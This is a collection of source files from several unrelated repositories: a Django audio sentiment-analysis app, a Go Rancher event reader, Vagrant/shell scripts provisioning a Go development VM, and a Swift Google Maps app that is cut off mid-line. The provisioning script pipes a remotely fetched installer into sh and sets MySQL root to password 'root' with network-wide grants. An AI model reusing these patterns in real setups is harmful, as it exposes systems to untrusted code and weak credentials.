<repo_name>vamshibussa/sentilysis<file_sep>/src/for_django_1-8/myproject/myproject/myapp/urls.py # -*- coding: utf-8 -*- from django.conf.urls import patterns, url,include from django.conf import settings from django.conf.urls.static import static from django.contrib import admin urlpatterns = patterns('myproject.myapp.views', url(r'^list/$', 'list', name='list1'), url(r'^admin/',include(admin.site.urls)), )+ static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) <file_sep>/src/for_django_1-8/myproject/myproject/myapp/views.py # -*- coding: utf-8 -*- from django.shortcuts import render_to_response from django.template import RequestContext from django.http import HttpResponse from myproject.myapp.models import Document from myproject.myapp.forms import DocumentForm import os,inspect def list(request): txt=str(os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))) txt=txt.replace("/myproject/myapp","/media/") txt=txt.replace(" ","") APIkey="###############################" #Give your HPE Haven on Demand API Key # Handle file upload if request.method == 'POST': form = DocumentForm(request.POST, request.FILES) if form.is_valid(): newdoc = Document(docfile=request.FILES['docfile']) newdoc.save() docfile=request.FILES['docfile'] txt=txt+str(docfile) import requests url = 'https://api.havenondemand.com/1/api/async/recognizespeech/v1'.format('recognizespeech') files = {'file': open(str(txt),'rb')} while True: r = requests.post(url,data={"apikey":str(APIkey)}, files=files) k= r.json() try: jobID= k["jobID"] url1="https://api.havenondemand.com/1/job/result/"+jobID while True: p=requests.post(url1,data={'apikey':str(APIkey)},files=files) res=p.json() try: content= res["actions"][0]["result"]["document"][0]["content"] d=str(content) urlS='https://api.havenondemand.com/1/api/async/analyzesentiment/v1' files1={'file':d} a= requests.post(urlS,data={"apikey":str(APIkey)},files=files1) l=a.json() jobIDS=l["jobID"] url1S="https://api.havenondemand.com/1/job/result/"+jobIDS pS=requests.post(url1S,data={'apikey':str(APIkey)},files=files1) res1=pS.json() final=(res1["actions"][0]["result"]["aggregate"]["score"]) finalp=str(final*100) result1=res1["actions"][0]["result"]["aggregate"]["sentiment"] from django.contrib.staticfiles.templatetags.staticfiles import static url = static('css/bootstrap.css') url1=static('file.txt') y=str(os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))) y=y.replace("/myproject/myapp","/static_in_pro/our_static/file.txt") y=y.replace(" ","") f=open(str(y),'w+') f.write(content) f.close() ans=str(""" <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Sentilysis</title> <!-- Bootstrap core CSS --> <link href="""+url+""" rel="stylesheet" type="text/css"> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.0/jquery.min.js"></script> <script src="https://cdn.rawgit.com/aterrien/jQuery-Knob/master/dist/jquery.knob.min.js"></script> <script type="text/javascript" src="http://yourjavascript.com/36616422911/excanvas.js"></script> </head> <body> <div class="container"> <div class="header clearfix"> <nav> </nav> <h3 class="text-muted" style="line-height: 40px;">Sentilysis</h3> </div> <div class="jumbotron" style="text-align:center"> <div class="row"><h1 style="text-align:center">Sentilysis</h1></div> <div class="row" style="text-align:center"> <p style="font-size:20px">Result:"""+result1+"""</p> </div> <div class="row" style="text-align:center"> <input type="text" class="dial" value="""+finalp+""" data-min="-100" data-max="100" ></div> Download the audio file text :<a href="""+url1+""" download="audiotext"> <input type="button" value="download" style="margin-top:25px;" ></button></a> </div> <script> $(function() { $(".dial").knob(); }); </script> <footer class="footer"> <p>&copy; 2016 Deep Red Ink Consulting Pvt. Ltd.</p> </footer> </div> <!-- /container --> </body> </html>""") return HttpResponse(ans) break except: continue except: continue #HPE API # Redirect to the document list after POST #return HttpResponseRedirect(reverse('myproject.myapp.views.list')) else: form = DocumentForm() # A empty, unbound form # Load documents for the list page documents = Document.objects.all() # Render list page with the documents and the form return render_to_response( 'list.html', {'documents': documents, 'form': form}, context_instance=RequestContext(request) )<file_sep>/src/for_django_1-8/myproject/myproject/myapp/models.py # -*- coding: utf-8 -*- from django.db import models class Document(models.Model): upload_to='documents'+'\\' #upload_to=upload_to.replace("/", "\/") #upload_to=upload_to.replace("/"," ") docfile = models.FileField(upload_to)<file_sep>/README.md Sentilysis - Sentiment Analysis of Audio Files ================================== This project is built on a basic file upload example in django wrapped with HPE's Haven on Demand APIs to analyse the sentiment of an audio file and get the positive/negative score of the same. Project contains source code that was made originally for the [Django file upload example at StackOverflow](http://stackoverflow.com/questions/5871730/need-a-minimal-django-file-upload-example). Goal of this project is to be able to convert audio to text and also analyse the sentiment of the audio i.e., if it is a positive one or a negative one or both. Platforms Used ------------------ * Django 1.8 * HPE's Haven on Demand APIs - http://havenondemand.com 1. Speech Recognition: https://dev.havenondemand.com/apis/recognizespeech 2. Sentiment Analysis: https://dev.havenondemand.com/apis/analyzesentiment Installation and Usage ------------------ ###### Download the project or clone it into any folder of your choice. ###### Login to [Haven on Demand](https://www.havenondemand.com/alt/login.html) and get your APIkey. ###### Enter your APIkey in "views.py" file. (path: ../src/for_django_1-8/myproject/myproject/myapp/views.py) ###### Then from terminal/command prompt navigate to myproject folder. $ cd ../src/for_django_1-8/myproject ###### Then run the following command to collect static files. $ python manage.py collectstatic ###### The run the following command to start the app $ python manage.py runserver ###### Navigate to http://localhost:8000/myapp/list and test it out. Developers ------------------ * <NAME>. * <NAME>. * <NAME>.
0c052024870c24c1777103786e22139dc69926b3
[ "Markdown", "Python" ]
4
Python
vamshibussa/sentilysis
a4d0caa4607a9147826fab05b54294f548f8486a
fe697ff34f4ba6c0e1335ec28ce7b73524fda56f
refs/heads/master
<file_sep>package main import "github/ibrokethecloud/rancher-events/events" import log "github.com/Sirupsen/logrus" func init() { log.SetFormatter(&log.JSONFormatter{}) } func main() { events.GetContainerEvents() } <file_sep>package events import "github.com/rancher/go-rancher/client" import "os" import "time" import log "github.com/Sirupsen/logrus" import "encoding/json" import "github.com/fsouza/go-dockerclient" func GetContainerEvents(){ // Function to query container events // /* Module to try and use the rancher-client for api data */ clientConnection := client.ClientOpts {Url: os.Getenv("CATTLE_URL"), AccessKey: os.Getenv("CATTLE_ACCESS_KEY"), SecretKey: os.Getenv("CATTLE_SECRET_KEY")} /* Setting my custom ListOpts Filter */ myfilter := make(map[string]interface{}) myfilter["sort"] = "id" myfilter["limit"] = 100 myfilter["order"] = "desc" listOptions := client.ListOpts{Filters: myfilter} rancherClient,err := client.NewRancherClient(&clientConnection) checkError(err) containerEventSummary,err := rancherClient.ContainerEvent.List(&listOptions) checkError(err) // Need to iterate over summary and get individual events // var containerEvents = []client.ContainerEvent {} var event = client.ContainerEvent {} containerEvents = containerEventSummary.Data for _,event = range containerEvents { parseEvent(event.DockerInspect) } } func checkError(err error) { if err != nil { log.Errorf("Fatal Error: %v",err) os.Exit(1) } } func parseEvent(v interface{}) { var dockerInspectInfo = docker.Container {} jsonInspectInfo, err := json.Marshal(v) checkError(err) err = json.Unmarshal(jsonInspectInfo, &dockerInspectInfo) checkError(err) // Call to compareTime // if (compareTime(dockerInspectInfo.State.FinishedAt)){ log.Info(string(jsonInspectInfo)) notifyWebHook() } } func compareTime(endTime time.Time) (result bool){ currentTime := time.Now() timeDuration := currentTime.Sub(endTime) if (timeDuration > 10*time.Minute ) { result = false } else { result = true } return result } func notifyWebHook() { // Define a web hook function here // } <file_sep>## Using rancher-events The rancher-events is based on the go-rancher bindings to extract docker events from rancher. One of the possible ways to get rancher events is querying the docker daemon directly however this module leverages the rancher events stream to extract the same information. The benefit of this approach for me is in the fact that the code can be run in a container in the rancher environment and can schedule on any host on the environment. The keys are injected into the container using the labels described as follows: https://docs.rancher.com/rancher/v1.0/en/rancher-services/service-accounts/
e733420b7a0badc7229cb1a195c6c4142cc8d667
[ "Markdown", "Go" ]
3
Go
diegodorgam/rancher-events
7cac5af75f7386377a5f025773b25bcaf900d35a
efc2d0b88be9c9b60d50a365351a470d9d54a9fb
refs/heads/master
<file_sep>import Cards from "../models/cardsModel.js"; const addCard = async (req, res, next) => { try { const card = await Cards.create({ name: req.body.name, url: req.body.url, }); // send response res.status(201).json({ message: "success", data: { result: card, }, }); } catch (error) { next(error); } }; const getAllCards = async (req, res, next) => { try { const cards = await Cards.find(); // send response res.status(200).json({ message: "success", data: { result: cards, }, }); } catch (error) { next(error); } }; export default { addCard, getAllCards }; <file_sep>import { call, put, takeLatest } from "redux-saga/effects"; import { successGetCards, failureGetCards } from "./actions"; import { callRequest } from "../../utils/ApiSauce.js"; import { GET_CARDS } from "./types"; import { API_GET_CARDS } from "../../config/WebServices"; function* watchGetCardsRequest(action) { const { payload } = action; try { const response = yield call(callRequest, API_GET_CARDS, payload); yield put(successGetCards(response?.data?.result ?? [])); } catch (err) { yield put(failureGetCards(err.message)); } } export default function* root() { yield takeLatest(GET_CARDS.REQUEST, watchGetCardsRequest); } <file_sep>import TinderIcon from "./icons/tinder.png"; export { TinderIcon }; <file_sep>import { fork } from "redux-saga/effects"; import cards from "./cards/saga"; export default function* root() { yield fork(cards); } <file_sep>import reducer from "./reducer"; import * as cardsActions from "./actions"; import * as cardsTypes from "./types"; import * as cardsSelectors from "./selectors"; export { cardsActions, cardsTypes, cardsSelectors }; export default reducer; <file_sep>import { BrowserRouter as Router, Switch, Route } from "react-router-dom"; import { createBrowserHistory } from "history"; import { Home } from "../containers"; const history = createBrowserHistory(); const MainNavigator = () => { return ( <Router history={history}> <Switch> <Route exact path="/" component={Home} /> </Switch> </Router> ); }; export default MainNavigator; <file_sep>import express from "express"; import cardController from "../controllers/cardController.js"; const router = express.Router(); router.post("/addCard", cardController.addCard); router.get("/", cardController.getAllCards); export default router; <file_sep>import createRequestTypes from "../ActionTypes"; export const GET_CARDS = createRequestTypes("GET_CARDS"); <file_sep>import express from "express"; import cors from "cors"; import cardRoutes from "./routes/cardRoutes.js"; import globalErrHandler from "./controllers/errorController.js"; import AppError from "./utils/appError.js"; const app = express(); // Allow Cross-Origin requests app.use(cors()); // Body parser, reading data from body into req.body app.use(express.json()); // Routes app.use("/api/v1/cards", cardRoutes); // Handle home page request app.get("/", (req, res) => res.status(200).send("Tinder Clone Server")); // Handle undefined Routes app.use("*", (req, res, next) => { const err = new AppError(404, "fail", "undefined route"); next(err, req, res, next); }); app.use(globalErrHandler); export default app; <file_sep>import mongoose from "mongoose"; import app from "./app.js"; import dotenv from "dotenv"; // loads environment variables from a .env file into process.env dotenv.config({ path: "./config.env", }); // Connect the database mongoose.connect(process.env.CONNECTION_URL, { useNewUrlParser: true, useCreateIndex: true, useUnifiedTopology: true, }); // listener const port = process.env.PORT; app.listen(port, () => console.log(`listening on localhost: ${port}`)); <file_sep>const defaultValue = {}; export const getRequestFlag = (key) => (store) => { if (Array.isArray(key)) { let value = defaultValue; for (let i = 0; i < key.length; i += 1) { const keyI = key[i]; if (store.requestFlags[keyI] && store.requestFlags[keyI].loading) { value = store.requestFlags[keyI]; break; } } return value; } return store.requestFlags[key] ? store.requestFlags[key] : defaultValue; }; <file_sep>import reducer from "./reducer"; import * as requestFlagSelectors from "./selectors"; export { requestFlagSelectors }; export default reducer; <file_sep>import { GET_CARDS } from "./types"; export function requestGetCards() { return { type: GET_CARDS.REQUEST, }; } export function successGetCards(data) { return { data, type: GET_CARDS.SUCCESS, }; } export function failureGetCards(errorMessage) { return { errorMessage, type: GET_CARDS.FAILURE, }; } <file_sep>import { GET_CARDS } from "./types"; import { Util } from "../../utils"; const initialState = { data: {} }; export default (state = initialState, action) => { switch (action.type) { case GET_CARDS.SUCCESS: { const { items } = Util.normalizeData(action.data); return { data: { ...state.data, ...items }, }; } default: return state; } }; <file_sep>import Immutable from "seamless-immutable"; import { REQUEST, SUCCESS, FAILURE, RESET } from "../ActionTypes"; const initialState = Immutable({}); const regularExpression = new RegExp( `(.*)_(${REQUEST}|${SUCCESS}|${FAILURE}|${RESET})` ); export default (state: Object = initialState, action: Object) => { const { type, errorList, errorMessage, isPullToRefresh, reset, identifier, page, isResetData, data, } = action; const matches = regularExpression.exec(type); if (!matches) return state; const [, requestName, requestState] = matches; // const totalRecords = data instanceof Array ? data.length : 0; const requestIdentifier = identifier && identifier !== "" ? `${requestName}_${identifier}` : requestName; //const totalRecords = page?.totalDocs ?? 0; //const nextPage = page && page.page ? page.page + 1 : 1; let totalRecords = 0; if (page && page.totalDocs) { totalRecords = page.totalDocs; } else if (page && page.total) { totalRecords = page.total; } else if ( state[requestIdentifier] && state[requestIdentifier].totalRecords ) { totalRecords = state[requestIdentifier].totalRecords; } /* const totalRecords = page && page.totalDocs ? page.totalDocs : page && page.total ? page.total : 0; */ const nextPage = page && page.page ? page.page + 1 : page && page.current_page ? page.current_page + 1 : 1; if (isResetData) { return Immutable.merge(state, { [requestIdentifier]: { loading: true, failure: false, isPullToRefresh: false, reset: false, totalRecords: 0, }, }); } if (requestState === RESET) { return Immutable.merge(state, { [requestIdentifier]: {}, }); } let lastRecordsLength = 0; if (requestState === SUCCESS) { lastRecordsLength = data?.length ?? 0; } else if ( state[requestIdentifier] && state[requestIdentifier].lastRecordsLength ) { lastRecordsLength = state[requestIdentifier].lastRecordsLength; } return Immutable.merge(state, { [requestIdentifier]: { loading: requestState === REQUEST, failure: requestState === FAILURE, reset: reset || false, isPullToRefresh: isPullToRefresh || false, errorList: errorList || "", errorMessage: errorMessage || "", totalRecords, nextPage, lastRecordsLength, }, }); }; <file_sep>import { create } from "apisauce"; import { BASE_URL, API_TIMEOUT, REQUEST_TYPE } from "../config/WebServices"; const api = create({ baseURL: BASE_URL, timeout: API_TIMEOUT, }); export async function callRequest( url, payload, routeParameter = "", headers = {} ) { // get attributes from url const { route, type, access_token_required } = url; // set route url const routeUrl = routeParameter !== "" ? `${route}/${routeParameter}` : route; // set X-API-TOKEN if (access_token_required) { // headers[X_API_TOKEN] = DataHandler.getAccessToken(); } // init header object const headerObject = { headers, }; // log sending data console.log("URL => ", routeUrl); console.log("Header => ", headerObject); console.log("Payload => ", payload); // init response let response; // on type send request switch (type) { case REQUEST_TYPE.GET: response = await api.get(routeUrl, payload, headerObject); break; case REQUEST_TYPE.POST: response = await api.post(routeUrl, payload, headerObject); break; case REQUEST_TYPE.DELETE: response = await api.delete(routeUrl, payload, headerObject); break; case REQUEST_TYPE.PUT: response = await api.put(routeUrl, payload, headerObject); break; default: response = await api.get(route, payload, headerObject); } // Log receiving data console.log(`${routeUrl} response => `, response); return handleResponse(response); } export function handleResponse(response) { return new Promise((resolve, reject) => { // network error internet not working const isNetWorkError = response.problem === "NETWORK_ERROR"; // client error const isClientError = response.problem === "CLIENT_ERROR"; // kick user from server const isKickUser = response.status === 403; // server maintenance const isServerMaintenance = response.status === 503; // if response is valid const isResponseValid = response.ok && response.data && response.data.message; if (isResponseValid) { resolve(response.data); } else if (isNetWorkError) { reject({ message: "Internet connection error", statusCode: response.status, }); } else if (isKickUser) { reject({ message: "Your account token has been expired. Please login again", statusCode: response.status, }); } else if (isServerMaintenance) { reject({ message: "Server is temporarily unavailable", statusCode: response.status, }); } else if (isClientError) { reject({ message: response.data.message || "Something went wrong", statusCode: response.status, }); } else { reject({ message: "Something went wrong", statusCode: response.status, }); } }); } <file_sep>import { combineReducers } from "redux"; import requestFlags from "./requestFlags"; import cards from "./cards"; export default combineReducers({ requestFlags, cards }); <file_sep>import Util from "./Util"; export { Util };
7e5a79223753a5d536f79f0674c64cd27f33805d
[ "JavaScript" ]
18
JavaScript
NazeerBZ/tinder-clone
5b606b28cceef263e8bd31fd3de59cc60cd03f94
a80c848b110940eee8797c5fe689459326ce8d98
refs/heads/master
<file_sep>#!/bin/sh TARGET_FOLDER=$1 if [ $# -lt 1 ]; then echo "Usage: $0 {target folder}" exit fi if [ ! -f "${TARGET_FOLDER}" ]; then echo "Target folder ${TARGET_FOLDER} does not exist." exit fi if [ -e "${TARGET_FOLDER}/mysql" ]; then echo "mysql folder is already moved. Nothing to do" else echo "==> Moving mysql folder..." service mysql stop echo "" >> /etc/mysql/mysql.conf.d/mysqld.cnf echo "datadir = ${TARGET_FOLDER}/mysql" >> /etc/mysql/mysql.conf.d/mysqld.cnf echo "tmpdir = ${TARGET_FOLDER}/tmp" >> /etc/mysql/mysql.conf.d/mysqld.cnf mv /var/lib/mysql ${TARGET_FOLDER}/ mkdir -m 0777 ${TARGET_FOLDER}/tmp # Hack for /usr/share/mysql/mysql-systemd-start to work mkdir -p /var/lib/mysql/mysql touch /var/lib/mysql/mysql/moved service mysql start echo "==> All done." fi <file_sep>#!/bin/sh # Only run this script AFTER adding new vdi drive DEVICE=$1 MOUNT_FOLDER=$2 if [ $# -lt 2 ]; then echo "Usage: $0 {device} {mount folder}" exit fi if [ -b "/dev/${DEVICE}" ]; then if [ -b "/dev/${DEVICE}1" ]; then echo "The partition already created, ignore fdisk" else echo "==> Creating new partition..." fdisk /dev/${DEVICE} <<EOL n p 1 w EOL echo "==> Formatting partition..." mkfs.ext4 /dev/${DEVICE}1 fi else echo "You must create new disk and attach to this VM" exit fi if [ -b "/dev/${DEVICE}1" ]; then echo "==> Mounting new partition..." mkdir -p ${MOUNT_FOLDER} echo "" >> /etc/fstab echo "/dev/${DEVICE}1 ${MOUNT_FOLDER} ext4 defaults 0 2" >> /etc/fstab mount -a echo "==> All done." else echo "/dev/${DEVICE}1 is not exist. Likely that there is error in running fdisk" fi <file_sep>export JAVA_HOME=/usr/lib/jvm/java-8-oracle/jre setopt rm_star_silent unsetopt nomatch transfer() { if [ $# -eq 0 ]; then echo "No arguments specified. Usage:\necho transfer /tmp/test.md\ncat /tmp/test.md | transfer test.md"; return 1; fi tmpfile=$( mktemp -t transferXXX ); if tty -s; then basefile=$(basename "$1" | sed -e 's/[^a-zA-Z0-9._-]/-/g'); curl --progress-bar --upload-file "$1" "https://transfer.sh/$basefile" >> $tmpfile; else curl --progress-bar --upload-file "-" "https://transfer.sh/$1" >> $tmpfile ; fi; cat $tmpfile; rm -f $tmpfile; } alias zshconfig="vim ~/.zshrc" source /vagrant/conf/shell/.bash_aliases unset LSCOLORS unset LS_COLORS export GOPATH=/work export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin <file_sep>PROVISIONED="/home/vagrant/PROVISIONED"; CURRENT_VERSION=$(<PROVISIONED) if [[ -f $PROVISIONED ]]; then echo "Already provisioned, checking for update..."; if [[ $CURRENT_VERSION < 2 ]]; then # Update here echo 2 > $PROVISIONED; fi echo "DONE updating." exit; fi echo "################ FIRST TIME SETUP ################" echo ">>>>>>>>>>>>>>>> Config timezone... <<<<<<<<<<<<<<<<" sudo rm -f /etc/localtime sudo ln -s /usr/share/zoneinfo/Asia/Ho_Chi_Minh /etc/localtime echo ">>>>>>>>>>>>>>>> Config bash... <<<<<<<<<<<<<<<<" echo ">>>>>>>>>>>>>>>> Essential tools... <<<<<<<<<<<<<<<<" sudo apt-get update -q sudo apt-get install -y zsh git vim tmux curl ncdu sudo chsh -s /bin/zsh vagrant sh -c "$(wget https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh -O -)" sed -i "s|ZSH_THEME=.*|ZSH_THEME=\"avit\"|g" .zshrc echo -e "\nsource /vagrant/conf/shell/.zshrc" >> ~/.zshrc cp -r /vagrant/copied/home/. ~ echo ">>>>>>>>>>>>>>>> Installing Go... <<<<<<<<<<<<<<<<" wget https://storage.googleapis.com/golang/go1.8.linux-amd64.tar.gz sudo tar -C /usr/local -xzf go1.8.linux-amd64.tar.gz echo ">>>>>>>>>>>>>>>> Installing MySQL 5.7... <<<<<<<<<<<<<<<<" sudo apt-key adv --recv-keys --keyserver keys.gnupg.net 5072E1F5 sudo apt-get update -q sudo wget http://dev.mysql.com/get/mysql-apt-config_0.7.3-1_all.deb echo 'mysql-apt-config mysql-apt-config/select-server select mysql-5.7' | sudo debconf-set-selections sudo DEBIAN_FRONTEND=noninteractive dpkg -i mysql-apt-config_0.7.3-1_all.deb echo 'mysql-server-5.7 mysql-server/root_password password root' | sudo debconf-set-selections echo 'mysql-server-5.7 mysql-server/root_password_again password root' | sudo debconf-set-selections sudo apt-get update -q sudo DEBIAN_FRONTEND=noninteractive apt-get install -y mysql-server sudo cp -r /vagrant/copied/mysql/. /etc/mysql/mysql.conf.d/ sudo service mysql restart sudo mysql -e "GRANT ALL ON *.* TO root@'192.168.%' IDENTIFIED BY 'root';" # by default mysql 5.7 do not allow using password for root (auth_socket plugin), to change root@localhost password, using: sudo mysql -e "ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root';" echo ">>>>>>>>>>>>>>>> Installing XFCE4 ... <<<<<<<<<<<<<<<<" sudo apt-get install -y xfce4 xfce4-goodies lightdm sudo apt-get purge -y xscreensaver echo ">>>>>>>>>>>>>>>> Installing Gogland ... <<<<<<<<<<<<<<<<" wget https://download.jetbrains.com/go/gogland-171.3780.106.tar.gz sudo mkdir /opt/gogland sudo tar zx -C /opt/gogland --strip-components 1 -f gogland-171.3780.106.tar.gz sudo ln -s /opt/gogland/bin/gogland.sh /usr/local/bin/gogland echo 1 > $PROVISIONED;<file_sep>########## Basic commands ########## # allow aliases in sudo (http://askubuntu.com/a/22043) alias sudo="sudo " alias ll="ls -al" alias sc="sudo systemctl" ## Git alias gs="git status" alias gm="git merge" alias gc="git checkout" <file_sep>- Download/install vagrant, virtualbox - Before clone this repository, make sure that "git config core.autocrlf false" - vagrant plugin install vagrant-vbguest - vagrant box add debian/jessie64 - Edit C:\Users\{username}\.vagrant.d\boxes\debian-VAGRANTSLASH-jessie64\8.5.2\virtualbox\include\_Vagrantfile ==> type: "virtualbox" - vagrant up - vagrant vbguest --auto-reboot --do install - vagrant provision # Tips: - Disable Keyboard Capture to use Windows Alt-Tab while in virtual machine<file_sep> # -*- mode: ruby -*- # vi: set ft=ruby : require 'fileutils' # Vagrantfile API/syntax version. Don't touch unless you know what you're doing! VAGRANTFILE_API_VERSION = "2" $provision_script = "scripts/installer.sh" CONFIG = File.join(File.dirname(__FILE__), "config.rb") if File.exist?(CONFIG) require CONFIG else puts "config.rb is missing" exit end Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| config.vm.box = $vm_box config.vm.box_url = $vm_box config.vm.hostname = $hostname config.ssh.insert_key = false $vm_ips.each do |ip| puts "Private network ip: %s" % ip config.vm.network :private_network, ip: ip end config.vm.network :forwarded_port, guest: 22, host: $vm_ssh_port, auto_correct: false, id: "ssh" if $shared_folders $shared_folders.each_with_index do |(host_folder, guest_folder), index| config.vm.synced_folder host_folder.to_s, guest_folder.to_s, id: "vagrant-share%02d" % index end end INSTALLER = File.join(File.dirname(__FILE__), $provision_script) if File.exist?(INSTALLER) config.vm.provision :shell do |s| s.privileged = false s.path = $provision_script s.args = [$hostname] end end config.vm.provider :virtualbox do |vb| vb.customize ["modifyvm", :id, "--memory", $vm_memory] vb.customize ["modifyvm", :id, "--name", $vm_name] vb.customize ["modifyvm", :id, "--cpus", $vm_cpus] vb.customize ["modifyvm", :id, "--vram", 16] vb.customize ["modifyvm", :id, "--clipboard", "bidirectional"] # Disable USB 2.0 support since it cause error vb.customize ["modifyvm", :id, "--usb", "on"] vb.customize ["modifyvm", :id, "--usbehci", "off"] # For debugging if $gui vb.gui = true end end config.ssh.forward_agent = true end
616638783ed1b01c6c0bdf9f3f127dd81b09a548
[ "Markdown", "Ruby", "Shell" ]
7
Shell
hiephm/vagrant_go
682d8350941f86ebdb9607c714387d4d97900413
5073f36050e6fd7bc1ede82f4bedec8c36fec57e
refs/heads/master
<file_sep>// // DistanceMatrixJSONModel.swift // DistanceMatrixAPI // // Created by Appinventiv on 23/03/18. // Copyright © 2018 Appinventiv. All rights reserved. // import Foundation struct DistanceMatrixJSONModel{ var destination_addresses: [String]? var origin_addresses: [String]? var rows:[Rows]? var status:String? init(json:[String:Any]){ destination_addresses = json["destination_addresses"] as? [String] ?? [] origin_addresses = json["origin_addresses"] as? [String] ?? [] let row = json["rows"] as? [[String:Any]] ?? [] rows = row.map({Rows.init(json: $0)}) status = json["status"] as? String ?? "" } } struct Rows{ var elements:[Elements]? init(json:[String:Any]){ let element = json["elements"] as? [[String:Any]] ?? [] elements = element.map({Elements.init(json: $0)}) } } struct Elements{ var distance:Distance? var duration:Duration? var status : String? init(json:[String:Any]){ let dis = json["distance"] as? [String:Any] ?? [:] distance = Distance.init(json: dis) let dur = json["duration"] as? [String:Any] ?? [:] duration = Duration.init(json: dur) status = json["status"] as? String ?? "" } } struct Distance{ var text: String? var value: Int? init(json:[String:Any]){ text = json["text"] as? String ?? "" value = json["value"] as? Int ?? 0 } } struct Duration{ var text: String? var value: Int? init(json:[String:Any]){ text = json["text"] as? String ?? "" value = json["value"] as? Int ?? 0 } } <file_sep>// // NetworkController.swift // DistanceMatrixAPI // // Created by Appinventiv on 23/03/18. // Copyright © 2018 Appinventiv. All rights reserved. // import Foundation class NetworkController{ func placesApi(url:String,success:@escaping ([String:Any])->Void,failure:@escaping (String)->Void){ let request = NSMutableURLRequest(url: NSURL(string: url)! as URL, cachePolicy: .useProtocolCachePolicy, timeoutInterval: 10.0) let session = URLSession.shared let dataTask = session.dataTask(with:request as URLRequest) { (data, response, error) in do{ guard let data = data else { return } let jsonData = try JSONSerialization.jsonObject(with: data, options: .mutableContainers) success(jsonData as! [String : Any]) // let distance = DistanceMatrixJSONModel(json: jsonData as! [String : Any]) if let err = error{ failure(err as! String) } else{ if let _ = response{ //print(response) } } }catch { print("Serialization Catch Error ") } } dataTask.resume() } func createSession(url:String,success:@escaping ([String:Any])->Void,failure:@escaping (String)->Void){ let request = NSMutableURLRequest(url: NSURL(string: url)! as URL, cachePolicy: .useProtocolCachePolicy, timeoutInterval: 10.0) let session = URLSession.shared let dataTask = session.dataTask(with:request as URLRequest) { (data, response, error) in do{ guard let data = data else { return } let jsonData = try JSONSerialization.jsonObject(with: data, options: .mutableContainers) success(jsonData as! [String : Any]) // let distance = DistanceMatrixJSONModel(json: jsonData as! [String : Any]) if let err = error{ failure(err as! String) } else{ if let _ = response{ //print(response) } } }catch { print("Serialization Catch Error ") } } dataTask.resume() } } <file_sep>// // APIController.swift // DistanceMatrixAPI // // Created by Appinventiv on 23/03/18. // Copyright © 2018 Appinventiv. All rights reserved. // import Foundation class APIController{ func getCurrentLoc(location:String,user:@escaping (GooglePlacesAPIModel)->Void,failure:@escaping (String)->Void){ var loc = location loc = loc.replacingOccurrences(of: " ", with: "+") let placesApiSrcUrl = "https://maps.googleapis.com/maps/api/place/textsearch/json?query=\(loc)&key=<KEY>" NetworkController().placesApi(url: placesApiSrcUrl, success: { (jsonData) in user(GooglePlacesAPIModel.init(json:jsonData)) }) { (fail) in failure(fail) } } func getLatLng(src:String,dest:String,user:@escaping (GooglePlacesAPIModel)->Void,failure:@escaping (String)->Void){ var source = src source = source.replacingOccurrences(of: " ", with: "+") var destination = dest destination = destination.replacingOccurrences(of: " ", with: "+") let placesApiSrcUrl = "https://maps.googleapis.com/maps/api/place/textsearch/json?query=\(source)&key=<KEY>" let placesApiDestUrl = "https://maps.googleapis.com/maps/api/place/textsearch/json?query=\(destination)&key=<KEY>" NetworkController().placesApi(url: placesApiSrcUrl, success: { (jsonData) in user(GooglePlacesAPIModel.init(json:jsonData)) }) { (fail) in failure(fail) } NetworkController().placesApi(url: placesApiDestUrl, success: { (jsonData) in user(GooglePlacesAPIModel.init(json:jsonData)) }) { (fail) in failure(fail) } } func getData(src:String,dest:String,modes:String,user:@escaping (DistanceMatrixJSONModel)->Void,failure:@escaping (String)->Void){ var source = src source = source.replacingOccurrences(of: " ", with: "+") var destination = dest destination = destination.replacingOccurrences(of: " ", with: "+") let mode = modes // let distanceUrl = "https://maps.googleapis.com/maps/api/distancematrix/json?units=km&origins=\(source)&destinations=\(destination)&key=<KEY>" let modeUrl = "https://maps.googleapis.com/maps/api/distancematrix/json?origins=\(source)&destinations=\(destination)&mode=\(mode)&language=en&key=<KEY>" NetworkController().createSession(url: modeUrl, success: { (jsonData) in user(DistanceMatrixJSONModel.init(json:jsonData)) }) { (fail) in failure(fail) } } } <file_sep>// // ViewController.swift // DistanceMatrixAPI // // Created by Appinventiv on 23/03/18. // Copyright © 2018 Appinventiv. All rights reserved. // import UIKit import GoogleMaps //import MapKit class ViewController: UIViewController,UISearchBarDelegate{ var source = "" var destination = "" var lat = 28.6052208 var lng = 77.3626015 var mode = "" var location = "" @IBOutlet weak var destinationTextField: UITextField! @IBOutlet weak var sourceTextField: UITextField! @IBOutlet weak var stackView: UIStackView! @IBOutlet weak var downView: UIView! @IBOutlet weak var topView: UIView! @IBOutlet weak var getDirectionOutlet: UIButton! @IBOutlet weak var searchBtnOutlet: UIButton! @IBOutlet weak var downBar: UIView! @IBOutlet weak var distanceTF: UILabel! @IBOutlet weak var timeTF: UILabel! @IBOutlet weak var searchBar: UISearchBar! // let regionRadius: CLLocationDistance = 400 // var locationManager = CLLocationManager() var mapView:GMSMapView! var camera:GMSCameraPosition! var marker:GMSMarker! override func viewDidLoad() { super.viewDidLoad() searchBar.delegate = self self.downBar.alpha=0 createMapView(lat: lat, lng: lng) bringViewsToFront() } func bringViewsToFront(){ view.bringSubview(toFront: searchBar) view.bringSubview(toFront: topView) view.bringSubview(toFront: searchBtnOutlet) view.bringSubview(toFront: getDirectionOutlet) view.bringSubview(toFront: downBar) view.bringSubview(toFront: stackView) } func createMapView(lat:Double,lng:Double){ self.camera = GMSCameraPosition.camera(withLatitude: lat, longitude: lng, zoom: 13.0) let frame = CGRect(x:0, y:0, width: view.bounds.width, height: view.bounds.height) self.mapView = GMSMapView.map(withFrame:frame, camera: camera) self.view.addSubview(mapView) self.marker = GMSMarker() marker.position = CLLocationCoordinate2D(latitude: lat, longitude: lng) marker.title = "Appinventiv" marker.snippet = "Noida" marker.map = mapView } @IBAction func searchBtnTapped(_ sender: UIButton) { self.location=self.searchBar.text! APIController().getCurrentLoc(location: self.location, user: { 